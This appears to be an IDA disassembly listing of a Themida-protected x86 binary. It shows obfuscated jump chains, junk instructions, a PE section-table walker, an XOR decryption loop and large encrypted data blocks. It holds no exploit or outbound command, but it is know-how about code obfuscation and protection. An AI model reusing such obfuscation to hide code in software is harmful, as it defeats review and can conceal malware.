arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_57CF4D	endp

; ---------------------------------------------------------------------------
		db 96h,	2Fh, 36h
		dd 8DD03B2h, 0F001F9Ah,	0C48BD3B7h, 38D0Fh, 0C9800000h
		dd 0EB01CD7Dh, 3C29B900h, 6A56ABh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 609E70C3h, 0FC6057B4h
		dd 8B0Fh, 61610000h, 0DE9h, 0A0B30300h,	0B9D8B27Dh, 2B8381F9h
		dd 8F64F7CFh, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 87E86AA9h, 44BE5C46h
		dd 0F939448Bh, 6A04C483h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 8D77C353h, 42B2CE55h
		dd 840FC00Bh, 0EDh, 753ABE56h, 665A5EC8h, 6A61D18Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0F089C353h, 50E2CF70h, 0A2DC5B95h, 8DF6BF0Fh, 1470F0BDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 4A56F36Ah, 0B8A2491Ch, 1, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0DBC35545h, 0FF2BF180h
		dd 1EBEBAE7h, 8B577AEFh, 8B10245Ch, 0B883h, 40B60F00h
		dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 35C35141h
		dd 88D508Ah, 1E800Fh, 880F0000h, 18h, 13E9h, 24FEF400h
		dd 0C39AD4FEh, 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h
; ---------------------------------------------------------------------------
		cld


loc_57D101:				; CODE XREF: Themida_:0057CE18j
					; Themida_:0057CE65j ...
		popa
		mov	ecx, 7B77AA43h
		mov	eax, eax
		js	loc_57D117
		jl	loc_57D117
		pusha
		popa


loc_57D117:				; CODE XREF: Themida_:0057D109j
					; Themida_:0057D10Fj
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_57D129
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57D142


loc_57D129:				; CODE XREF: Themida_:0057D11Ej
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+61430C1h],	eax
		lea	ebx, [ebp+616B7A1h]
		call	ebx
		pop	ebx
		pop	eax


loc_57D142:				; CODE XREF: Themida_:0057D127j
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57D162
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+61430C1h],	eax
		lea	ebx, [ebp+616B442h]
		call	ebx
		pop	ebx
		pop	eax


loc_57D162:				; CODE XREF: Themida_:0057D149j
		jmp	loc_57D179
; ---------------------------------------------------------------------------
		xchg	eax, esp
		mov	eax, 432489AFh
		add	al, 0DEh
		mov	[ebx+ecx*4], dl
		xor	ebp, 0FFFFFFE1h
		cld
		xor	al, 12h
		pop	es


loc_57D179:				; CODE XREF: Themida_:loc_57D162j
		mov	eax, eax
		clc
		mov	eax, edx
		jmp	short loc_57D188
; ---------------------------------------------------------------------------
		dd 2 dup(0)
; ---------------------------------------------------------------------------


loc_57D188:				; CODE XREF: Themida_:0057D17Ej
		jmp	loc_57D208
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp-2], ecx
		pop	edx
		add	edx, 24h


loc_57D198:				; CODE XREF: Themida_:0057D1CFj
		mov	eax, [ebp+61412CDh]
		lea	eax, [ebp+617764Fh]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+61745A5h],	ecx
		cmp	dword ptr [ebp+61414CDh], 0
		jz	loc_57D1D4
		pusha
		push	0
		call	dword ptr [ebp+6141169h]
		popa
		jmp	loc_57D198
; ---------------------------------------------------------------------------


loc_57D1D4:				; CODE XREF: Themida_:0057D1BFj
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+61745A1h],	eax
		mov	esi, [ebp+61745A5h]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+61745A5h]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+61745A1h]
		retn
; ---------------------------------------------------------------------------


loc_57D208:				; CODE XREF: Themida_:loc_57D188j
		lea	edx, [ebp+6141729h]
		mov	[ebp+61434F1h],	edx
		mov	[ebp+6142D01h],	edx
		inc	dword ptr [ebp+6142D01h]
		mov	byte ptr [ebp+6141A59h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+6141145h]
		lea	eax, [ebp+6143B13h]
		call	eax
		mov	[ebp+6141169h],	eax
		lea	eax, [ebp+6173E06h]
		mov	[ebp+6143525h],	eax
		jmp	short loc_57D26E
; ---------------------------------------------------------------------------
		align 10h
		dd 7 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57D26E:				; CODE XREF: Themida_:0057D24Cj
		jmp	loc_57D881
; ---------------------------------------------------------------------------
		jmp	loc_57D87A
; ---------------------------------------------------------------------------
		push	6174881h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	617495Ah
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6174B29h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6174BA9h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		dd 64B609D3h, 1F714C87h, 0D92B9042h, 8EE0D9FCh,	459726B1h
		dd 0D304AC0Ch, 16BB98EAh, 647451A3h, 0AA2C095Bh, 2BB3BF11h
		dd 92E3F25h, 0F1585358h, 4FFBC012h, 0F1E82709h,	855C32D1h
		dd 0CEBCF625h, 8DFDAFCBh, 0A30DCC23h, 0F62D2EEh, 63FBB7E5h
		dd 2BA0E234h, 7EEDCB3Ah, 407B5724h, 2BD7E2F3h, 593EA4D3h
		dd 55000000h, 0F1E7F6D9h, 60107E51h, 828D4B18h,	0F1E7967Ch
		dd 0EA82AA51h, 3AFAEB93h, 184702EBh, 7C824A12h,	51F2C896h
		dd 0F5382AAh, 57E71092h, 5C637542h, 0EC0158B0h,	0ED48FDDCh
		dd 7DA52958h, 0A27C532Bh, 33EF4394h, 29020E3Dh,	3A000000h
		dd 0A652696Dh, 0D17D3C99h, 0CBB2E179h, 0F1E7F7D9h, 5F0F7D51h
		dd 2F941117h, 774457E6h, 902DA65Eh, 0C5F48CE4h,	0EC71941h
		dd 4FFBC012h, 0F1E82809h, 9427ABD1h, 0C5F8DBE8h, 6022C419h
		dd 69290D81h, 0F4C70BD8h, 0B6C1F048h, 714D9F1Ch, 3B125A08h
		dd 62EF350Eh, 0ADEB4273h, 1B498CCCh, 2E343A69h,	0D1F1FC4Ch
		dd 947A8058h, 21D1F2DBh, 65E0AB1h, 0D4801840h, 0DFF70FC7h
		dd 40D830DCh, 0FCA412EEh, 0CDF0E7B4h, 0FAC31421h, 272D3362h
		dd 0D7E60F68h, 0E6AEF61Eh, 6EEFAE0h, 30360ED8h,	0D806EF4Ah
		dd 6F9E365Eh, 0EEDDBF05h, 7362D806h, 4B8D9A46h,	0BAC0C874h
		dd 0D806EED4h, 466AC0E8h, 0BCDEA504h, 349E6B9Eh, 5483DB87h
		dd 0D8E67DE8h, 758178h,	13980000h, 0DAB1F9A5h, 39EDE10Ch
		dd 3238672Dh, 0E6389C2Ch, 94DC0457h, 703E91BDh,	1948E258h
		dd 2B904613h, 2CDAFCD9h, 106814A5h, 10A813C3h, 0A4B87732h
		dd 0D8E6D03Eh, 36Ch, 24764993h,	0DF318C47h, 99EBD002h
		dd 4EA019BCh, 5576671h,	13C4ECCCh, 567B58AAh, 0A4341163h
		dd 0EAECC91Bh, 0EB737FD1h, 92FFFE5h, 0B1181358h, 33711h
		dd 567C4900h, 124F3665h, 0DA4A3CC0h, 4A88DA2Bh,	0F23F5E44h
		dd 0B24A7251h, 8F666E1Ah, 47FEC127h, 0BFA5ABBAh, 0D351F24Ch
		dd 0A0E413ABh, 51F24CBEh, 0D0C07148h, 6410AB2Bh, 9FE2B50Ch
		dd 0DA724989h, 490567ABh, 6C5151F2h, 0BE51F24Ah, 51F249DCh
		dd 0F24A4628h, 0CF03D051h, 0B9E840ECh, 0F2499375h, 3AB1991h
		dd 0BF1CF3BBh, 9A8780E7h, 0E4ACF01Fh, 0AC17E757h, 626F3C84h
		dd 0B53AB57h, 9581F05h,	0DC0B3318h, 48F86672h, 4613800h
		dd 0CA9DE5B5h, 5DC00433h, 6B1DFD17h, 94E6543h, 230D7891h
		dd 29315h, 4F706C00h, 0AB320FDh, 0C4F7DBB8h, 79409572h
		dd 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh, 0C5A2F4CBh
		dd 4C58AA11h, 30D8BEC4h, 0F1EC5809h, 0F7C4128Ah, 2DD13F4Bh
		dd 2D8EDFE5h, 507857E6h, 7F5926FEh, 0CC061140h,	60D0A7EFh
		dd 5ADA41EEh, 4A273766h, 7B873388h, 1319610Dh, 5DFD66AAh
		dd 0BBFED7B4h, 0CD1FB70Fh, 2067D5B7h, 91975F5Eh, 5E2067ABh
		dd 0C6F3E2BFh, 0D32AC21Ah, 83384C69h, 0EAF42368h, 868CD47Ch
		dd 6414A431h, 0BA03D4A1h, 387B60Eh, 0A53F252Bh,	76536437h
		dd 2FC75F5Ch, 0FFBC1AE7h, 0B506D0ADh, 0A4D1C309h, 9776437h
		dd 4F551D65h, 6437A569h, 8435A07Dh, 0B9E880D8h,	0EC34ADB3h
		dd 865E6A2Bh, 4EEA9A80h, 0FAA276Ah, 41892149h, 9526AC79h
		dd 0F272113Eh, 79A8DDF8h, 153686Eh, 5D09B224h, 714A8855h
		dd 0FA3E6DC5h, 6A4F8B08h, 489040AEh, 43D0D942h,	73BBE370h
		dd 0DE8A2FA6h, 84515786h, 3A176952h, 0AD71F9Ch,	573D43C8h
		dd 6B7066D2h, 0A7FFAB43h, 94020E78h, 219EA4ECh,	53765B19h
		dd 57397F2Bh, 0DC767E18h, 0C19C5F6h, 3349F5C6h,	1DB9730Fh
		dd 29AF29Eh, 6279193Bh,	0DA61C203h, 74498E5Bh, 2440262Ch
		dd 2C54767Eh, 1597FDh, 0D9AE0000h, 51F104F7h, 1E7Bh, 0B2DCB300h
		dd 0B454735Fh, 173E2554h, 8632874Ah, 7C25D72Eh,	2A5A2FCh
		dd 7DAD8FD3h, 175651F1h, 2F8C4Ah, 90D888F6h, 0E62D398Ah
		dd 973C2357h, 0F9F15803h, 0F8A415BCh, 287008A0h, 94407B5Bh
		dd 97A30D3Ch, 0BA03D029h, 91D4DA22h, 0DD5DFCB8h, 99290F15h
		dd 603D5E1Dh, 469E4A73h, 0D3FB7FAEh, 9088C8F5h,	0AFBDA738h
		dd 0C4h, 0CC1EA13Bh, 87D9E4EFh,	419328AAh, 0F6487164h
		dd 0ADFFBE19h, 6B6C4474h, 0AE230052h, 0FCDCB90Bh, 429471C3h
		dd 931B2779h, 932A78Dh,	59C0BB58h, 318E4A17h, 278AF802h
		dd 5F74FE8Bh, 2EC9075Eh, 0B3999FE7h, 0C751F2D8h, 0B9BF079Fh
		dd 57E71E68h, 4E3F9D0h,	43EFD008h, 0BAF094EBh, 603DC1F0h
		dd 429A4677h, 84F2FEAAh, 2B8E94DCh, 395DFDA1h, 0A840795Ch
		dd 8F9EFDCAh, 8E9C8638h, 44h, 4C9E21BBh, 759646Fh, 0C113A82Ah
		dd 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h, 2EA380D2h,	7C5C398Bh
		dd 0C214F143h, 139BA7F9h, 933270Dh, 0D9403B58h,	0F11h
		dd 577C4900h, 0E4503766h, 7746915Eh, 5D4473CBh,	49F5CA12h
		dd 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h
		dd 5703B61Fh, 8733884Ah, 0B864597Ah, 0E6895633h, 4C681h
		dd 0EE830000h, 24348704h, 6824248Bh, 7D6Ah, 53243489h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 14895C24h,	67BD5524h
		dd 0F755CC3Fh, 28C581DDh, 555BE386h, 8B545D5Eh,	0C4812414h
		dd 4, 2C815655h, 6928E324h, 0C5815D75h,	756928E3h, 5D086A89h
		dd 5A2434FFh, 4C481h, 348B0000h, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 0FD318AE9h, 7C09C9FFh
		db 0ADh, 89h
; ---------------------------------------------------------------------------


loc_57D87A:				; CODE XREF: Themida_:0057D273j
		mov	eax, 6174C12h
		add	eax, ebp


loc_57D881:				; CODE XREF: Themida_:loc_57D26Ej
		mov	ecx, eax
		jmp	short $+2
		jmp	loc_57DE83
; ---------------------------------------------------------------------------
		jmp	loc_57DE7C
; ---------------------------------------------------------------------------
		push	6174D7Eh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6174EA8h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6174F23h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	617502Eh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6175127h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 0F4h, 0E8h, 0D7h
		dd 922BA885h, 4C6F6340h, 1B81DFAh, 0B805D2AFh, 258B2D66h
		dd 0DCB90BB2h, 9572C4F5h, 4D2A7C43h, 0D4E03289h, 3460464Ch
		dd 79745809h, 0E7F7D912h, 5D4351F1h, 0EF51F1E8h, 0BA07B422h
		dd 9DF5A11Eh, 0E8452A6Eh, 0B59751F1h, 3F51F1E7h, 2A596672h
		dd 0F1E803E6h, 0E86F5151h, 31F9D1F1h, 0F1E8452Bh, 23159D1h
		dd 0AF278AF8h, 78419032h, 847F6421h, 39EA4ECh, 71D7E5D4h
		dd 0A4340149h, 0ECECC91Bh, 0AD1B27D3h, 50B3B901h, 5EDDFAB8h
		dd 6E685836h, 230DB893h, 44815h, 734C9000h, 2E8F4421h
		dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h
		dd 310E6059h, 0E9C618A7h, 707CCEEDh, 34FCE2E8h,	15105809h
		dd 0F7C412AEh, 6176434Bh, 2958B05Ch, 0F1E802E5h, 2E6C9051h
		dd 8B46C016h, 922A822Eh, 48736340h, 74478F9Ch, 0A11CBBC8h
		dd 0CEEFE8F5h, 0FDBC1522h, 0DF43F951h, 8AB37FA3h, 0F65E6A52h
		dd 0A48AC5Eh, 0B622E4F2h, 85505D09h, 98308834h,	0F570AE00h
		dd 9FEEDC3h, 3A4h, 47C41220h, 0F1E85B41h, 0CFF0E851h, 0DD05CB23h
		dd 70539945h, 0D751F1E8h, 27AF4505h, 0AE364294h, 0F1E7C2A8h
		dd 2AED651h, 8ADCE3F5h,	4A9229ADh, 0E16EAB82h, 0E37B7DCFh
		dd 0F241775Dh, 34638B51h, 0F353BECAh, 0F24107EDh, 5BF31B51h
		dd 63693109h, 51F2417Dh, 9D1EB491h, 0D20199F1h,	0AC0FC7h
		dd 93DBDEF3h, 40DFC5CBh, 0CBF351F2h, 94768C9Ch,	1951F240h
		dd 495501B8h, 64597EDBh, 1CB784CCh, 509DF5A1h, 1073687h
		dd 0E57228FBh, 383E1657h, 58065252h, 0C8A63E66h, 3EA7D502h
		dd 1E8F9D87h, 0BA000003h, 6E4B9D22h, 29065865h,	0E3C012A9h
		dd 9875C7F2h, 0F32C7E3Fh, 0D1ECEBC5h, 8A2FA27Fh, 427D5B38h
		dd 0F8C313F0h, 0C129AA6h, 58093626h, 12D83F3Ah,	3E4BF7C4h
		dd 6A772398h, 0EA005267h, 51F1E7C8h, 6D82FBD2h,	0A0A1B763h
		dd 83DB8738h, 26CC94EBh, 3198AF1Dh, 5EDCBE02h, 706151F1h
		dd 75579D49h, 0FB51F23Fh, 9399E18Dh, 57E55A5Ch,	0C80CEA12h
		dd 0D53EA7CCh, 2A3DDEBh, 0A7350000h, 0EAE9C618h, 2EA481D3h
		dd 775E3B8Dh, 0C413F042h, 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh
		dd 6BBD02D6h, 2173488Eh, 0A1878D15h, 0B5580936h, 0C41253BAh
		dd 0CA0B2938h, 972FBF93h, 6956824Fh, 9922B0BDh,	5B68D201h
		dd 2294407Bh, 0A06D9CBEh, 8C2E8536h, 0CC55556Bh, 45919CCBh
		dd 7F4C2476h, 17B4A759h, 398CA78Dh, 5F0672A1h, 9FFEED9Dh
		dd 214h, 0E7F7D9B6h, 5C7C51F1h,	0E7C7ADB3h, 0FEDB51F1h
		dd 0E43CE8D5h, 8562B44Ch, 57246C53h, 0DCE9407Bh, 6C73BDA1h
		dd 27349ECDh, 0F9C60EB1h, 43292FDEh, 5751F2B4h,	93EB972Fh
		dd 2488FA64h, 0B50ACE66h, 8A33A06Dh, 9C734B5Bh,	4B86D77h
		dd 16D9C26h, 0FEED3464h, 709Ah,	0C4CA9200h, 51F2B0DEh
		dd 7C82CAF2h, 51F2B096h, 6C5382AAh, 308D4A17h, 0F3FD2C84h
		dd 0BB42485h, 0A6252B73h, 5A57E519h, 0C672498Dh, 0DEBB3F6Eh
		dd 0C018C4F9h, 2E944A28h, 331D3EA8h, 19825h, 239C4000h
		dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h
		dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh,	37AC9298h
		dd 0C5C05809h, 845BE35Eh, 9CC64325h, 68537F2Ch,	959BA1D0h
		dd 51F2B397h, 0EAF7A3CBh, 0A27FD1EEh, 0B906D234h, 0D51DB50Dh
		dd 2176C0FEh, 8CBB752Dh, 46AB1622h, 40922A8Fh, 84379B68h
		dd 318E4A55h, 0E7D402DFh, 16A32E3Bh, 0E5D401CEh, 0A2B2E139h
		dd 22080E96h, 3651F234h, 7D55620Eh, 0A710EC3Eh,	943E4BF7h
		dd 0C112DF27h, 0A7BDCDFCh, 51F233C5h, 0E931DD4Bh, 0E6356CE3h
		dd 327AA257h, 86359D6Ah, 81874C57h, 65BD6950h, 359E7BCDh
		dd 9CFDC88h, 4DE5D401h,	7C3D94A1h, 0AC0FC3D0h, 8A6A8D64h
		dd 88B428B7h, 75E3EF59h, 0F4E0170Ah, 65FD99ADh,	0AA98171Dh
		dd 844C5DF9h, 1A89987Eh, 5584AC5Eh, 1DCBA9D1h, 0A838939Dh
		dd 9FB0BEh, 0A3390000h,	0E6EDCA1Ch, 2AA885D7h, 73623F91h
		dd 0C017F446h, 4672ABFDh, 0FE506D6Ah, 0B709B021h, 6FC1FEDAh
		dd 25774492h, 0A58B9119h, 0B9580938h, 4A1757BEh, 2C84308Dh
		dd 0D7E4F2FDh, 3B81E2Bh, 33884A57h, 62577A87h, 0DE7CA0B6h
		dd 6410AD26h, 5EC2740Ch, 0EDCE083Ch, 0E7FFCEA5h, 5606E6A4h
		dd 0F2C26A50h, 0BE567E51h, 24417F8Fh, 0DAFEED18h, 10h
		dd 0E7F6D9F1h, 597D51F1h, 10321062h, 89000000h,	2E8B4A17h
		dd 0E7D9BBFFh, 785E51F1h, 0F338F143h, 75D62h, 0DC620000h
		dd 0CAF9C40Fh, 0F5CA12E3h, 219A3C49h, 4F706875h, 7E3B96A3h
		dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h,	64597A87h
		dd 895033B8h, 0EABB53E0h, 812B4D77h, 5C33E4F3h,	2AC3810Ah
		dd 0F768EC37h, 0CFE381D3h, 0C145785Bh, 0F38105E3h, 800018E4h
		dd 835BD801h, 48704E8h,	0BE685C24h, 8900007Ah, 89562404h
		dd 4C681E6h, 83000000h,	348704EEh, 34895C24h, 0E2B95124h
		dd 8906174Ch, 240C8BC8h, 6804C483h, 7E7Fh, 83242489h, 5E042404h
		dd 0CEB85050h, 29587733h, 58042444h, 8108468Fh,	33CE0846h
		dd 348B5877h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 24048B5Ch, 5E08950h,	4, 8704C083h, 0E95C2404h, 0FFFD2B8Fh
		dd 1971F497h, 695D5572h, 0DE1E1915h
; ---------------------------------------------------------------------------


loc_57DE7C:				; CODE XREF: Themida_:0057D88Aj
		mov	eax, 61751EBh
		add	eax, ebp


loc_57DE83:				; CODE XREF: Themida_:0057D885j
		mov	edx, ecx
		jmp	loc_57DEDB

; =============== S U B	R O U T	I N E =======================================



sub_57DE8A	proc near		; DATA XREF: Themida_:0054B110o

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		add	esi, [esi+3Ch]
		mov	edi, [esp+20h+arg_4]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_57DEA5:				; CODE XREF: sub_57DE8A+46j
		cmp	ecx, 0
		jz	loc_57DEC4
		cmp	edi, [edx+0Ch]
		jg	loc_57DECC
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_57DEC4:				; CODE XREF: sub_57DE8A+1Ej
					; sub_57DE8A+4Cj
		mov	[esp+20h+var_4], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_57DECC:				; CODE XREF: sub_57DE8A+27j
		add	edx, 28h
		dec	ecx
		jnz	loc_57DEA5
		jmp	loc_57DEC4
sub_57DE8A	endp

; ---------------------------------------------------------------------------


loc_57DEDB:				; CODE XREF: Themida_:0057DE85j
		mov	edx, 9FD3Eh
		call	sub_57DEF5
		pop	ds
		imul	esi, [eax+70h],	4Fh
		xor	al, 0E7h
		dec	edi
; ---------------------------------------------------------------------------
		db 0C5h, 0C3h, 0A4h
		dd 9EFC431Ch
		db 19h

; =============== S U B	R O U T	I N E =======================================



sub_57DEF5	proc near		; CODE XREF: Themida_:0057DEE0p
		jge	loc_57DEFE
		mov	cx, si


loc_57DEFE:				; CODE XREF: sub_57DEF5j
		pop	edx
		clc
		add	edx, 6075h
		mov	bx, dx
		xor	eax, eax
		push	ecx
		adc	si, 0E96Ch
		pop	esi


loc_57DF12:				; CODE XREF: sub_57DEF5:loc_57DFA3j
		mov	edi, [edx+eax]
		push	ebx
		pop	ebx
		xor	edi, 6425E3A0h
		mov	bx, di
		xor	edi, 73C1F7EEh
		movsx	ebx, di
		add	edi, 0DA195D6h
		mov	si, 2C1Bh
		mov	[edx+eax], edi
		mov	esi, 25B06130h
		jmp	loc_57DF54
; ---------------------------------------------------------------------------
		dd 8D4503DAh, 7B21B7ABh, 0A1EA9BC4h, 0EA3B4782h, 0D32C36C1h
; ---------------------------------------------------------------------------


loc_57DF54:				; CODE XREF: sub_57DEF5+46j
		sub	eax, 32927139h
		movzx	ebx, di
		add	eax, 32927135h
		mov	bx, 65FDh
		cmp	eax, 0FFFFA050h
		jnz	loc_57DF8B
		jnb	loc_57DF81
		jp	loc_57DF81
		mov	ebx, esi


loc_57DF81:				; CODE XREF: sub_57DEF5+7Ej
					; sub_57DEF5+84j
		jmp	loc_57DFAE
; ---------------------------------------------------------------------------
		dw 0F27Dh
		db 0E0h, 2Ah, 72h
; ---------------------------------------------------------------------------


loc_57DF8B:				; CODE XREF: sub_57DEF5+78j
		jmp	loc_57DFA3
; ---------------------------------------------------------------------------
		dd 0AE781EABh, 475945C7h, 98B16A18h, 563420D6h
; ---------------------------------------------------------------------------
		aad	2Ah
		xchg	eax, ebp


loc_57DFA3:				; CODE XREF: sub_57DEF5:loc_57DF8Bj
		jmp	loc_57DF12
; ---------------------------------------------------------------------------
		dd 0E0D0DE1Ch
		db 0D8h, 77h
; ---------------------------------------------------------------------------


loc_57DFAE:				; CODE XREF: sub_57DEF5:loc_57DF81j
		jmp	loc_57E114
; ---------------------------------------------------------------------------
		db 48h
		dd 0E77FB676h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
		dd 0BCECA4h, 52C55DD5h,	0A4D676D3h, 4100FC94h, 50C1AEC4h
		dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
		dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
		dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
		dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
		dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h,	0B0F3622Dh
		dd 3CAE29h, 440000h, 6C0000h, 2	dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 2Ah dup(0)
; ---------------------------------------------------------------------------


loc_57E114:				; CODE XREF: sub_57DEF5:loc_57DFAEj
		jmp	loc_57FFE6
; ---------------------------------------------------------------------------
		push	6175758h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	617586Ch
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6175928h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6175A07h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6175AD3h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6175B91h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6175C57h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6175CF8h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6176051h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61760C0h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61761DBh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61764FEh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6176837h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6176BA4h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6176D5Eh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6176DC4h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6176E33h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6176E88h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6177011h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61770FEh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61772B5h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 1Eh
		dd 0D2AF01BEh, 8D6ABC01h, 47247645h, 0FCD92B8Eh, 5790E2DBh
		dd 35884F61h, 0EECB06E3h, 0A619BF9Ch, 5C5F7754h, 7076FE0Ah
		dd 58093D8Ah, 123CA39Eh, 0E2AFF7C4h, 339DCCF1h,	0B90BB026h
		dd 77BF6FDDh, 48902DAAh, 0F1E85C42h, 19487051h,	59744B13h
		dd 0A8708A4Eh, 20E9C191h, 21B9FB29h, 8F1BAEF2h,	3A0757E5h
		dd 1F772398h, 468F6CF0h, 0E92FDB73h, 58066E07h,	3952F012h
		dd 0F8D9682Ch, 35D2h, 0A513E900h, 0F1E4B1F9h, 77C41CC8h
		dd 5CB4605Bh, 5E21272Dh, 0AA57E503h, 6BA2BAD3h,	3665D2C7h
		dd 98DE8AB2h, 580678B6h, 0E8E39FC1h, 0F8D9607Dh, 0CF81h
		dd 0C4129800h, 62F78138h, 33CB9E3Fh, 605D7A87h,	8C2FA7B4h
		dd 0B803D3E0h, 3E2B5066h, 643B51F2h, 0E7535D72h, 4B5685EBh
		dd 5F5A7B8Bh, 0D59D75C7h, 0F22DE9CFh, 1F25FD51h, 51F22E39h
		dd 408D254Dh, 257D2992h, 0D0EBEBF6h, 6AA1824h, 477DB8BEh
		dd 0DCA957E5h, 141701F9h, 64F444F2h, 0F1199DCCh, 0C5F6DCA9h
		dd 0B6625B78h, 431F2F5Eh, 19E129D5h, 0AB318A4Ch, 580652C5h
		dd 7C82B1D9h, 0FB294A76h, 6AB2DA5Dh, 31833A9Dh,	5C3A8354h
		dd 389125EEh, 14A3B19Bh, 6A00001Ch, 1EFB4D72h, 0D9B608B5h
		dd 9370C2F9h, 48257742h, 0A3DC2E8Fh, 813C9B15h,	3A7F522Fh
		dd 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h, 58093ED6h, 1288EFEAh
		dd 0C9A6F8C5h, 0A35CAE0Dh, 97014017h, 7A0BEEE2h, 2BD3414Bh
		dd 0E81ADDE3h, 0C0E857E5h, 0E7ECCE14h, 0D5F75806h, 0CCAD84B5h
		dd 0C5AF9595h, 0D9E2F441h, 3AA6D52Dh, 0F8D8552Bh, 76AD5C33h
		dd 5A89D8Eh, 0FC70D6h, 9B680000h, 81D98538h, 4F176B52h
		dd 0BF6B5082h, 0E7FBE167h, 0E70F51F1h, 9229ADB8h, 0BFFED9E6h
		dd 0EBA8CD13h, 0EBB851F1h, 1B28D4E7h, 0FC5400BBh, 0AC2A3564h
		dd 428F795Ah, 0FF47DF77h, 0EC4B3137h, 825F51F1h, 0A3D26A4Fh
		dd 0BDE4BB93h, 0E58E8E17h, 0FED8E312h, 970511BDh, 5E999FE7h
		dd 8A57E57Eh, 0DE3D0FB3h, 0E2111571h, 9A80865Eh, 0AE5806BAh
